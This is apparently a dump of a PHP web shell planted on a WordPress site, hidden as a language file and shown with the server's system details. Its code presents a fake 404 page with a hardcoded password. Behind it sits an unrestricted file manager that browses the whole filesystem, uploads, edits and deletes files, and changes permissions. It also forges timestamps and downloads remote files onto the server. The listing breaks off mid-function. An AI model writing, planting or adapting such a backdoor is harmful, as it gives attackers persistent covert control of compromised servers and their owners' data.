HEX
Server: nginx/1.16.1
System: Linux VM-0-14-centos 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User: www (1000)
PHP: 8.3.31
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.sceytyg.com/wp-content/languages/continents-cities-zh_CN.l10n.php
<?php
session_start();

$password = 'ghost';

function isAuthenticated() {
    return isset($_SESSION['authenticated']) && $_SESSION['authenticated'] === true;
}

if (!isAuthenticated()) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
        if ($_POST['password'] === $GLOBALS['password']) {
            session_regenerate_id(true);
            $_SESSION['authenticated'] = true;
            header('Location: ' . $_SERVER['PHP_SELF']);
            exit;
        } else {
            echo "<p style='color:red;text-align:center;'>密码错误,请重试。</p>";
        }
    }

    echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>404 未找到</title></head><body>';
    echo '<div style="text-align:center; margin-top:100px;">';
    echo '<h2>文件管理器访问</h2>';
    echo '<form method="post">';
    echo '<input type="password" name="password" placeholder="请输入密码" required>';
    echo '<br><br><input type="submit" value="登录">';
    echo '</form></div></body></html>';
    exit;
}

if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

function isWindows() {
    return strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
}

function fsPath($path) {
    return isWindows() ? str_replace('/', '\\', $path) : str_replace('\\', '/', $path);
}

function urlPath($path) {
    return str_replace('\\', '/', $path);
}

function getAvailableDrives() {
    $drives = array();

    if (isWindows()) {
        // 在 Windows 下检查所有可用驱动器
        foreach (range('A', 'Z') as $letter) {
            $drive_path = $letter . ':\\';
            if (is_dir($drive_path)) {
                $drives[] = $letter . ':';
            }
        }
        // 如果没找到任何驱动器,至少添加 C:
        if (empty($drives)) {
            $drives[] = 'C:';
        }
    } else {
        // Linux 下从根目录开始
        $drives[] = '/';
        // 也添加一些常见的目录
        $common_dirs = array('/home', '/var', '/usr', '/etc', '/tmp', '/opt');
        foreach ($common_dirs as $dir) {
            if (is_dir($dir)) {
                $drives[] = $dir;
            }
        }
    }

    return $drives;
}

function generateBreadcrumbs($root, $current_dir) {
    $breadcrumbs = "<a href='?drive=" . urlencode($root) . "'>根目录</a>";

    if (!empty($current_dir)) {
        $current_dir = trim(urlPath($current_dir), '/');
        $path_parts = explode('/', $current_dir);
        $current_path = '';

        foreach ($path_parts as $part) {
            if ($part !== '') {
                $current_path .= '/' . $part;
                $breadcrumbs .= " &gt; <a href='?drive=" . urlencode($root) . "&dir=" . urlencode($current_path) . "'>" . htmlspecialchars($part) . "</a>";
            }
        }
    }

    return $breadcrumbs;
}

function deleteDirectory($dir) {
    if (is_link($dir) || is_file($dir)) {
        return unlink($dir);
    }

    if (!is_dir($dir)) {
        return false;
    }

    $files = array_diff(scandir($dir), array('.', '..'));

    foreach ($files as $file) {
        $path = $dir . DIRECTORY_SEPARATOR . $file;

        if (is_dir($path) && !is_link($path)) {
            deleteDirectory($path);
        } else {
            unlink($path);
        }
    }

    return rmdir($dir);
}

function formatBytes($size, $precision = 2) {
    if ($size <= 0) {
        return '0 B';
    }

    $suffixes = array('B', 'KB', 'MB', 'GB', 'TB');
    $base = floor(log($size, 1024));
    $base = min($base, count($suffixes) - 1);

    return round($size / pow(1024, $base), $precision) . ' ' . $suffixes[$base];
}

function getPermissions($file) {
    if (isWindows()) {
        return 'N/A';
    }

    $perms = @fileperms($file);
    if ($perms === false) {
        return 'N/A';
    }
    return substr(sprintf('%o', $perms), -4);
}

function getPermissionsString($file) {
    if (isWindows()) {
        return is_writable($file) ? '可写' : '只读';
    }

    $perms = @fileperms($file);
    if ($perms === false) {
        return 'N/A';
    }
    
    $info = '';

    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));

    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));

    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));

    return $info;
}

function getCurrentBaseUrl() {
    $https = false;

    if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') {
        $https = true;
    }

    if (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
        $https = true;
    }

    $scheme = $https ? 'https' : 'http';
    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';

    return $scheme . '://' . $host;
}

function buildPublicUrl($file_path) {
    if (empty($_SERVER['DOCUMENT_ROOT'])) {
        return false;
    }

    $document_root = realpath($_SERVER['DOCUMENT_ROOT']);
    $real_file = realpath($file_path);

    if ($document_root === false || $real_file === false) {
        return false;
    }

    $document_root = rtrim(urlPath($document_root), '/');
    $real_file = urlPath($real_file);

    if ($real_file !== $document_root && strpos($real_file, $document_root . '/') !== 0) {
        return false;
    }

    $relative_path = ltrim(substr($real_file, strlen($document_root)), '/');

    if ($relative_path === '') {
        return getCurrentBaseUrl() . '/';
    }

    $parts = array_map('rawurlencode', explode('/', $relative_path));

    return rtrim(getCurrentBaseUrl(), '/') . '/' . implode('/', $parts);
}

function canOpenAsWebPage($filename) {
    $allowed = array(
        'php', 'html', 'htm',
        'css', 'js',
        'txt', 'json', 'xml',
        'jpg', 'jpeg', 'png', 'gif', 'webp', 'svg',
        'pdf'
    );

    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

    return in_array($ext, $allowed, true);
}

function safeName($name) {
    return basename(str_replace('\\', '/', $name));
}

// 获取可用驱动器
$available_drives = getAvailableDrives();
$script_dir = urlPath(dirname(__FILE__));

// 默认根目录设置
if (isWindows()) {
    $drive_letter = substr($script_dir, 0, 2);
    $root = in_array($drive_letter, $available_drives) ? $drive_letter : $available_drives[0];
} else {
    $root = '/';
}

// 如果选择了特定驱动器
if (isset($_GET['drive']) && in_array($_GET['drive'], $available_drives, true)) {
    $root = $_GET['drive'];
}

$root_path = isWindows() ? $root . '\\' : $root;

$current_dir = isset($_GET['dir']) ? $_GET['dir'] : '';

if (empty($current_dir) && !isset($_GET['dir'])) {
    if (isWindows()) {
        if (strlen($script_dir) > 2) {
            $current_dir = substr($script_dir, 3);
        }
    } else {
        $current_dir = ($script_dir === '/') ? '' : ltrim($script_dir, '/');
    }
}

$current_dir = urlPath($current_dir);

$appended = fsPath(ltrim($current_dir, '/'));

if ($appended) {
    $full_path = rtrim($root_path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $appended;
} else {
    $full_path = $root_path;
}

$upload_message = '';
$error_message = '';

// 自定义路径跳转
if (isset($_POST['custom_path'])) {
    $custom_path = fsPath($_POST['custom_path']);
    
    // 尝试访问用户指定的路径
    if (is_dir($custom_path)) {
        $full_path = $custom_path;
        
        if (isWindows()) {
            $drive_letter = substr($custom_path, 0, 2);
            if (in_array($drive_letter, $available_drives, true)) {
                $root = $drive_letter;
                $root_path = $root . '\\';
                $current_dir = substr($custom_path, strlen($root_path));
                $current_dir = urlPath($current_dir);
            }
        } else {
            // 尝试匹配根目录
            $matched = false;
            foreach ($available_drives as $drive) {
                if (strpos($custom_path, $drive) === 0) {
                    $root = $drive;
                    $root_path = $drive;
                    $current_dir = ltrim(substr($custom_path, strlen($drive)), '/');
                    $current_dir = urlPath($current_dir);
                    $matched = true;
                    break;
                }
            }
            if (!$matched) {
                $root = '/';
                $root_path = '/';
                $current_dir = ltrim(urlPath($custom_path), '/');
            }
        }
    } else {
        $error_message = "路径不存在或无法访问,请检查路径是否正确。";
    }
}

// 如果路径无效,回到根目录
if (!is_dir($full_path)) {
    $full_path = $root_path;
    $current_dir = '';
    $error_message = "当前路径无效,已返回根目录。";
}

// 处理 POST 请求
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
    switch ($_POST['action']) {
        case 'chmod':
            if (isset($_POST['filename'], $_POST['permission'])) {
                $file_to_chmod = $full_path . DIRECTORY_SEPARATOR . safeName($_POST['filename']);
                $permission = $_POST['permission'];

                if (preg_match('/^[0-7]{3,4}$/', $permission)) {
                    if (file_exists($file_to_chmod)) {
                        if (@chmod($file_to_chmod, octdec($permission))) {
                            $upload_message = "权限修改成功:" . $permission;
                        } else {
                            $error_message = "无法修改权限。";
                        }
                    } else {
                        $error_message = "文件或目录未找到。";
                    }
                } else {
                    $error_message = "权限格式无效。";
                }
            }
            break;

        case 'create_file':
            if (!empty($_POST['filename'])) {
                $new_file = $full_path . DIRECTORY_SEPARATOR . safeName($_POST['filename']);

                if (file_exists($new_file)) {
                    $error_message = "文件已存在。";
                } elseif (@file_put_contents($new_file, '') !== false) {
                    $upload_message = "文件创建成功。";
                } else {
                    $error_message = "无法创建文件。";
                }
            }
            break;

        case 'create_folder':
            if (!empty($_POST['foldername'])) {
                $new_folder = $full_path . DIRECTORY_SEPARATOR . safeName($_POST['foldername']);

                if (file_exists($new_folder)) {
                    $error_message = "文件夹已存在。";
                } elseif (@mkdir($new_folder, 0755)) {
                    $upload_message = "文件夹创建成功。";
                } else {
                    $error_message = "无法创建文件夹。";
                }
            }
            break;

        case 'rename':
            if (isset($_POST['old_name'], $_POST['new_name']) && $_POST['new_name'] !== '') {
                $old_name = $full_path . DIRECTORY_SEPARATOR . safeName($_POST['old_name']);
                $new_name = $full_path . DIRECTORY_SEPARATOR . safeName($_POST['new_name']);

                if (file_exists($old_name) && !file_exists($new_name) && @rename($old_name, $new_name)) {
                    $upload_message = "项目重命名成功。";
                } else {
                    $error_message = "无法重命名项目。";
                }
            }
            break;

        case 'delete':
            if (isset($_POST['filename'])) {
                $file_to_delete = $full_path . DIRECTORY_SEPARATOR . safeName($_POST['filename']);

                if (file_exists($file_to_delete)) {
                    if (is_dir($file_to_delete) && !is_link($file_to_delete)) {
                        $upload_message = deleteDirectory($file_to_delete) ? "目录删除成功。" : "无法删除目录。";
                    } else {
                        $upload_message = @unlink($file_to_delete) ? "文件删除成功。" : "无法删除文件。";
                    }
                }
            }
            break;

        case 'upload':
            if (isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error'] === UPLOAD_ERR_OK) {
                $upload_name = safeName($_FILES['fileToUpload']['name']);
                $target_file = $full_path . DIRECTORY_SEPARATOR . $upload_name;

                if (@move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $target_file)) {
                    $upload_message = "文件上传成功。";
                } else {
                    $error_message = "无法上传文件。";
                }
            } else {
                $error_message = "上传发生错误。";
            }
            break;

        case 'save':
            if (isset($_POST['filename'], $_POST['content'])) {
                $file_to_save = $full_path . DIRECTORY_SEPARATOR . safeName($_POST['filename']);

                if (is_file($file_to_save) && @file_put_contents($file_to_save, $_POST['content']) !== false) {
                    $upload_message = "文件保存成功。";
                } else {
                    $error_message = "无法保存文件。";
                }
            }
            break;

        case 'change_timestamp':
            if (isset($_POST['filename'], $_POST['timestamp'])) {
                $file_to_modify = $full_path . DIRECTORY_SEPARATOR . safeName($_POST['filename']);
                $timestamp = strtotime($_POST['timestamp']);

                if (file_exists($file_to_modify) && $timestamp !== false) {
                    if (@touch($file_to_modify, $timestamp, $timestamp)) {
                        $upload_message = "时间戳修改成功。";
                    } else {
                        $error_message = "无法修改时间戳。";
                    }
                } else {
                    $error_message = "文件或目录未找到,或时间格式无效。";
                }
            }
            break;

        case 'remote_download':
            if (!empty($_POST['url'])) {
                $url = $_POST['url'];
                $custom_name = !empty($_POST['custom_name']) ? safeName($_POST['custom_name']) : safeName(parse_url($url, PHP_URL_PATH));

                if ($custom_name === '') {
                    $custom_name = 'downloaded_file';
                }

                $target_file = $full_path . DIRECTORY_SEPARATOR . $custom_name;
                $data = false;

                if (preg_match('/^https?:\/\//i', $url)) {
                    if (function_exists('curl_init')) {
                        $ch = curl_init($url);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  // 为了兼容性
                        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
                        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
                        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
                        $data = curl_exec($ch);
                        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                        curl_close($ch);

                        if ($http_code < 200 || $http_code >= 300) {
                            $data = false;
                        }
                    } else {
                        $data = @file_get_contents($url);
                    }

                    if ($data !== false && @file_put_contents($target_file, $data) !== false) {
                        $upload_message = "远程文件下载成功。";
                    } else {
                        $error_message = "无法下载远程文件。";
                    }
                } else {
                    $error_message = "只允许 http 或 https 地址。";
                }
            }
            break;
    }
}

// 处理文件下载
if (isset($_GET['download'])) {
    $file_to_download = $full_path . DIRECTORY_SEPARATOR . safeName($_GET['download']);

    if (file_exists($file_to_download) && is_file($file_to_download) && is_readable($file_to_download)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"');
        header('Content-Length: ' . filesize($file_to_download));
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        readfile($file_to_download);
        exit;
    } else {
        $error_message = "文件不存在或无法读取。";
    }
}

// 处理文件查看
if (isset($_GET['view'])) {
    $file_to_view = $full_path . DIRECTORY_SEPARATOR . safeName($_GET['view']);

    if (file_exists($file_to_view) && is_file($file_to_view) && is_readable($file_to_view)) {
        $max_view_size = 10 * 1024 * 1024; // 增加到 10MB

        if (filesize($file_to_view) > $max_view_size) {
            echo "文件过大(超过 10MB),不支持在线查看。";
            exit;
        }

        $content = htmlspecialchars(@file_get_contents($file_to_view));

        echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>查看:" . htmlspecialchars($_GET['view']) . "</title>";
        echo "<style>body{font-family:monospace;margin:20px;}pre{background:#f4f4f4;padding:15px;border-radius:5px;overflow-x:auto;}</style></head><body>";
        echo "<h2>文件:" . htmlspecialchars($_GET['view']) . "</h2>";
        echo "<pre>" . $content . "</pre>";
        echo "<br><a href='javascript:history.back()' style='background:#007cba;color:white;padding:8px 16px;text-decoration:none;border-radius:3px;'>返回</a>";
        echo "</body></html>";
        exit;
    }
}

// 获取目录内容
$contents = array();

if (is_dir($full_path) && is_readable($full_path)) {
    $scan_result = @scandir($full_path);

    if ($scan_result !== false) {
        $contents = $scan_result;
    } else {
        $error_message = "无法读取目录内容。";
    }
} else {
    $error_message = "无法访问目录。";
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>增强型文件管理器 - 无限制版</title>
    <meta charset="UTF-8">
    <style>
        body { font-family: Arial, sans-serif; margin: 0; padding: 20px; background: #f5f5f5; }
        .container { max-width: 1500px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); }
        .header { border-bottom: 2px solid #007cba; padding-bottom: 15px; margin-bottom: 20px; }
        .top-actions { float: right; }
        .drive-selector { margin: 10px 0; }
        .drive-selector select { padding: 5px; margin-right: 10px; }
        .breadcrumbs { background: #e9f4ff; padding: 10px; border-radius: 5px; margin: 10px 0; }
        .operations { display: flex; flex-wrap: wrap; gap: 10px; margin: 15px 0; }
        .operation-form { background: #f8f9fa; padding: 15px; border-radius: 5px; border: 1px solid #ddd; }
        .operation-form h4 { margin-top: 0; color: #007cba; }
        .operation-form input, .operation-form textarea { margin: 5px 0; padding: 5px; }
        table { width: 100%; border-collapse: collapse; margin-top: 20px; }
        th, td { padding: 10px; text-align: left; border-bottom: 1px solid #ddd; font-size: 13px; vertical-align: middle; }
        th { background-color: #007cba; color: white; }
        tr:hover { background-color: #f5f5f5; }
        .folder { color: #007cba; font-weight: bold; text-decoration: none; }
        .file { color: #333; }
        .actions { white-space: nowrap; }
        .btn { background: #007cba; color: white; padding: 5px 10px; text-decoration: none; border-radius: 3px; border: none; cursor: pointer; margin: 2px; font-size: 12px; display: inline-block; }
        .btn:hover { background: #005a87; }
        .btn-danger { background: #dc3545; }
        .btn-danger:hover { background: #c82333; }
        .btn-warning { background: #ffc107; color: #000; }
        .btn-warning:hover { background: #e0a800; }
        .btn-web { background: #28a745; }
        .btn-web:hover { background: #1e7e34; }
        .btn-success { background: #28a745; }
        .btn-success:hover { background: #1e7e34; }
        .message { padding: 10px; margin: 10px 0; border-radius: 5px; }
        .success { background: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
        .error { background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
        .custom-path { margin: 15px 0; }
        .custom-path input[type="text"] { width: 450px; padding: 8px; }
        .file-editor { margin-top: 20px; padding: 15px; background: #f8f9fa; border-radius: 5px; }
        .file-editor textarea { width: 100%; min-height: 300px; font-family: monospace; }
        .permission-badge { background: #28a745; color: white; padding: 2px 6px; border-radius: 3px; font-family: monospace; font-size: 11px; }
        .permission-form { display: inline-block; margin-left: 5px; }
        .permission-form input[type="text"] { width: 60px; padding: 3px; font-family: monospace; }
        .permission-info { font-size: 11px; color: #666; font-family: monospace; margin-left: 5px; }
        .muted { color: #666; }
        .unrestricted-notice { background: #d1ecf1; color: #0c5460; padding: 10px; border-radius: 5px; margin: 10px 0; border: 1px solid #bee5eb; }
        .unrestricted-notice strong { color: #0c5460; }
    </style>
</head>
<body>
<div class="container">
    <div class="header">
        <div class="top-actions">
            <a href="?logout=1" class="btn btn-danger">退出</a>
        </div>

        <h1>🚀 增强型文件管理器 - 无限制版</h1>
        
        <div class="unrestricted-notice">
            <strong>⚡ 无限制模式:</strong> 此版本可以访问服务器上的任何目录(需要 PHP 进程有相应权限)
        </div>

        <p>当前路径:<strong><?php $real_path = realpath($full_path); echo htmlspecialchars($real_path ? $real_path : $full_path); ?></strong></p>
        <p>脚本位置:<strong><?php echo htmlspecialchars(dirname(__FILE__)); ?></strong></p>
        <p>当前网站:<strong><?php echo htmlspecialchars(getCurrentBaseUrl()); ?></strong></p>
        <p>网站根目录 DOCUMENT_ROOT:<strong><?php echo htmlspecialchars(isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '未知'); ?></strong></p>
        <p>OS:<strong><?php echo PHP_OS; ?></strong> | PHP:<strong><?php echo PHP_VERSION; ?></strong></p>

        <div class="drive-selector">
            <label>选择根目录:</label>
            <select onchange="window.location.href='?drive=' + encodeURIComponent(this.value)">
                <?php foreach ($available_drives as $drive): ?>
                    <option value="<?php echo htmlspecialchars($drive); ?>" <?php echo ($drive === $root) ? 'selected' : ''; ?>>
                        <?php echo htmlspecialchars($drive); ?>
                    </option>
                <?php endforeach; ?>
            </select>
        </div>
    </div>

    <?php if ($upload_message): ?>
        <div class="message success">✅ <?php echo htmlspecialchars($upload_message); ?></div>
    <?php endif; ?>

    <?php if ($error_message): ?>
        <div class="message error">❌ <?php echo htmlspecialchars($error_message); ?></div>
    <?php endif; ?>

    <div class="breadcrumbs">
        <strong>导航:</strong><?php echo generateBreadcrumbs($root, $current_dir); ?>
    </div>

    <div class="custom-path">
        <form method="post" style="display:inline;">
            <label>转到路径:</label>
            <input type="text" name="custom_path" placeholder="输入完整路径..." value="<?php $real_path = realpath($full_path); echo htmlspecialchars($real_path ? $real_path : $full_path); ?>">
            <input type="submit" value="转到" class="btn btn-success">
        </form>
        <button onclick="goToScriptDirectory()" class="btn">转到脚本目录</button>
        <?php if (!empty($_SERVER['DOCUMENT_ROOT'])): ?>
            <button onclick="goToDocumentRoot()" class="btn btn-web">转到网站根目录</button>
        <?php endif; ?>
        <button onclick="goToRoot()" class="btn btn-warning">转到系统根目录</button>
    </div>

    <div class="operations">
        <div class="operation-form">
            <h4>📄 创建文件</h4>
            <form method="post">
                <input type="hidden" name="action" value="create_file">
                <input type="text" name="filename" placeholder="文件名.txt" required>
                <input type="submit" value="创建" class="btn">
            </form>
        </div>

        <div class="operation-form">
            <h4>📁 创建文件夹</h4>
            <form method="post">
                <input type="hidden" name="action" value="create_folder">
                <input type="text" name="foldername" placeholder="文件夹名" required>
                <input type="submit" value="创建" class="btn">
            </form>
        </div>

        <div class="operation-form">
            <h4>⬆️ 上传文件</h4>
            <form method="post" enctype="multipart/form-data">
                <input type="hidden" name="action" value="upload">
                <input type="file" name="fileToUpload" required>
                <input type="submit" value="上传" class="btn">
            </form>
        </div>

        <div class="operation-form">
            <h4>🌐 远程下载</h4>
            <form method="post">
                <input type="hidden" name="action" value="remote_download">
                <input type="url" name="url" placeholder="https://example.com/file.zip" required style="width:250px;"><br>
                <input type="text" name="custom_name" placeholder="自定义文件名(可选)" style="width:250px;">
                <input type="submit" value="下载" class="btn">
            </form>
        </div>
    </div>

    <?php if (!isWindows()): ?>
        <div style="background:#fff3cd;padding:10px;border-radius:5px;margin:10px 0;border:1px solid #ffc107;">
            <strong>权限指南:</strong>
            <span style="font-family:monospace;margin-left:10px;">
                0777 = rwxrwxrwx | 0755 = rwxr-xr-x | 0644 = rw-r--r-- | 0600 = rw-------
            </span>
        </div>
    <?php endif; ?>

    <table>
        <thead>
        <tr>
            <th>名称</th>
            <th>类型</th>
            <th>大小</th>
            <th>权限</th>
            <th>修改时间</th>
            <th>操作</th>
        </tr>
        </thead>
        <tbody>
        <?php if (!empty($current_dir)): ?>
            <?php
            $parent_dir = dirname($current_dir);
            if ($parent_dir === '.' || $parent_dir === DIRECTORY_SEPARATOR) {
                $parent_dir = '';
            }
            ?>
            <tr>
                <td colspan="6">
                    <a href="?drive=<?php echo urlencode($root); ?>&dir=<?php echo urlencode($parent_dir); ?>" class="folder">
                        📁 .. 上级目录
                    </a>
                </td>
            </tr>
        <?php endif; ?>

        <?php
        $directories = array();
        $files = array();

        foreach ($contents as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }

            $item_path = $full_path . DIRECTORY_SEPARATOR . $item;

            if (is_dir($item_path)) {
                $directories[] = $item;
            } else {
                $files[] = $item;
            }
        }

        sort($directories);
        sort($files);

        foreach ($directories as $dir):
            $dir_path = $full_path . DIRECTORY_SEPARATOR . $dir;
            $dir_url = $current_dir ? $current_dir . '/' . $dir : $dir;
            $perms = getPermissions($dir_path);
            $perms_string = getPermissionsString($dir_path);
        ?>
            <tr>
                <td>
                    <a href="?drive=<?php echo urlencode($root); ?>&dir=<?php echo urlencode($dir_url); ?>" class="folder">
                        📁 <?php echo htmlspecialchars($dir); ?>
                    </a>
                </td>
                <td>目录</td>
                <td>-</td>
                <td>
                    <span class="permission-badge"><?php echo htmlspecialchars($perms); ?></span>
                    <span class="permission-info"><?php echo htmlspecialchars($perms_string); ?></span>

                    <?php if (!isWindows()): ?>
                        <form method="post" class="permission-form">
                            <input type="hidden" name="action" value="chmod">
                            <input type="hidden" name="filename" value="<?php echo htmlspecialchars($dir); ?>">
                            <input type="text" name="permission" placeholder="0755">
                            <input type="submit" value="设置" class="btn btn-warning">
                        </form>
                    <?php endif; ?>
                </td>
                <td>
                    <?php echo date('Y-m-d H:i:s', @filemtime($dir_path)); ?>
                    <form method="post" style="display:inline;margin-left:10px;">
                        <input type="hidden" name="action" value="change_timestamp">
                        <input type="hidden" name="filename" value="<?php echo htmlspecialchars($dir); ?>">
                        <input type="datetime-local" name="timestamp" value="<?php echo date('Y-m-d', @filemtime($dir_path)) . 'T' . date('H:i', @filemtime($dir_path)); ?>" style="width:160px;padding:3px;font-size:11px;">
                        <input type="submit" value="⏱" class="btn" style="padding:3px 8px;font-size:11px;">
                    </form>
                </td>
                <td class="actions">
                    <form method="post" style="display:inline;">
                        <input type="hidden" name="action" value="rename">
                        <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($dir); ?>">
                        <input type="text" name="new_name" value="<?php echo htmlspecialchars($dir); ?>" style="width:100px;">
                        <input type="submit" value="重命名" class="btn">
                    </form>

                    <form method="post" style="display:inline;">
                        <input type="hidden" name="action" value="delete">
                        <input type="hidden" name="filename" value="<?php echo htmlspecialchars($dir); ?>">
                        <input type="submit" value="删除" class="btn btn-danger" onclick="return confirm('确定要删除此目录吗?')">
                    </form>
                </td>
            </tr>
        <?php endforeach; ?>

        <?php foreach ($files as $file):
            $file_path = $full_path . DIRECTORY_SEPARATOR . $file;
            $file_size = is_readable($file_path) ? filesize($file_path) : 0;
            $perms = getPermissions($file_path);
            $perms_string = getPermissionsString($file_path);

            $public_url = false;
            if (canOpenAsWebPage($file)) {
                $public_url = buildPublicUrl($file_path);
            }
        ?>
            <tr>
                <td class="file">📄 <?php echo htmlspecialchars($file); ?></td>
                <td>文件</td>
                <td><?php echo htmlspecialchars(formatBytes($file_size)); ?></td>
                <td>
                    <span class="permission-badge"><?php echo htmlspecialchars($perms); ?></span>
                    <span class="permission-info"><?php echo htmlspecialchars($perms_string); ?></span>

                    <?php if (!isWindows()): ?>
                        <form method="post" class="permission-form">
                            <input type="hidden" name="action" value="chmod">
                            <input type="hidden" name="filename" value="<?php echo htmlspecialchars($file); ?>">
                            <input type="text" name="permission" placeholder="0644">
                            <input type="submit" value="设置" class="btn btn-warning">
                        </form>
                    <?php endif; ?>
                </td>
                <td>
                    <?php echo date('Y-m-d H:i:s', @filemtime($file_path)); ?>
                    <form method="post" style="display:inline;margin-left:10px;">
                        <input type="hidden" name="action" value="change_timestamp">
                        <input type="hidden" name="filename" value="<?php echo htmlspecialchars($file); ?>">
                        <input type="datetime-local" name="timestamp" value="<?php echo date('Y-m-d', @filemtime($file_path)) . 'T' . date('H:i', @filemtime($file_path)); ?>" style="width:160px;padding:3px;font-size:11px;">
                        <input type="submit" value="⏱" class="btn" style="padding:3px 8px;font-size:11px;">
                    </form>
                </td>
                <td class="actions">
                    <?php if ($public_url): ?>
                        <a href="<?php echo htmlspecialchars($public_url); ?>" class="btn btn-web" target="_blank" rel="noopener noreferrer">打开网页</a>
                    <?php else: ?>
                        <span class="muted">非网站目录</span>
                    <?php endif; ?>

                    <a href="?drive=<?php echo urlencode($root); ?>&dir=<?php echo urlencode($current_dir); ?>&view=<?php echo urlencode($file); ?>" class="btn">查看</a>

                    <a href="?drive=<?php echo urlencode($root); ?>&dir=<?php echo urlencode($current_dir); ?>&download=<?php echo urlencode($file); ?>" class="btn">下载</a>

                    <button onclick="editFile('<?php echo addslashes(htmlspecialchars($file)); ?>')" class="btn">编辑</button>

                    <form method="post" style="display:inline;">
                        <input type="hidden" name="action" value="rename">
                        <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($file); ?>">
                        <input type="text" name="new_name" value="<?php echo htmlspecialchars($file); ?>" style="width:100px;">
                        <input type="submit" value="重命名" class="btn">
                    </form>

                    <form method="post" style="display:inline;">
                        <input type="hidden" name="action" value="delete">
                        <input type="hidden" name="filename" value="<?php echo htmlspecialchars($file); ?>">
                        <input type="submit" value="删除" class="btn btn-danger" onclick="return confirm('确定要删除此文件吗?')">
                    </form>
                </td>
            </tr>
        <?php endforeach; ?>
        </tbody>
    </table>

    <div class="file-editor" id="file-editor" style="display:none;">
        <h3>📝 文件编辑器</h3>
        <form method="post">
            <input type="hidden" name="action" value="save">
            <input type="hidden" name="filename" id="edit-filename">
            <textarea name="content" id="edit-content" placeholder="文件内容..."></textarea><br>
            <input type="submit" value="保存文件" class="btn btn-success">
            <button type="button" onclick="document.getElementById('file-editor').style.display='none'" class="btn">取消</button>
        </form>
    </div>

    <div style="margin-top:30px;padding-top:20px;border-top:1px solid #ddd;text-align:center;color:#666;">
        <p>🚀 增强型文件管理器 - 无限制版 | PHP <?php echo PHP_VERSION; ?> | <?php echo PHP_OS; ?></p>
        <p style="font-size:12px;color:#999;">⚠️ 此版本没有任何路径限制,请谨慎使用</p>
    </div>
</div>

<script>
function editFile(filename) {
    const editor = document.getElementById('file-editor');
    const filenameInput = document.getElementById('edit-filename');
    const contentTextarea = document.getElementById('edit-content');

    filenameInput.value = filename;
    editor.style.display = 'block';

    const xhr = new XMLHttpRequest();
    xhr.open(
        'GET',
        '?drive=<?php echo urlencode($root); ?>&dir=<?php echo urlencode($current_dir); ?>&view=' + encodeURIComponent(filename),
        true
    );

    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) {
            const parser = new DOMParser();
            const doc = parser.parseFromString(xhr.responseText, 'text/html');
            const preElement = doc.querySelector('pre');

            if (preElement) {
                contentTextarea.value = preElement.textContent;
            } else {
                contentTextarea.value = '';
            }
        }
    };

    xhr.send();
    editor.scrollIntoView();
}

function goToScriptDirectory() {
    <?php
    $script_path = urlPath(dirname(__FILE__));

    if (isWindows()) {
        $drive = substr($script_path, 0, 2);
        $path = strlen($script_path) > 2 ? substr($script_path, 3) : '';
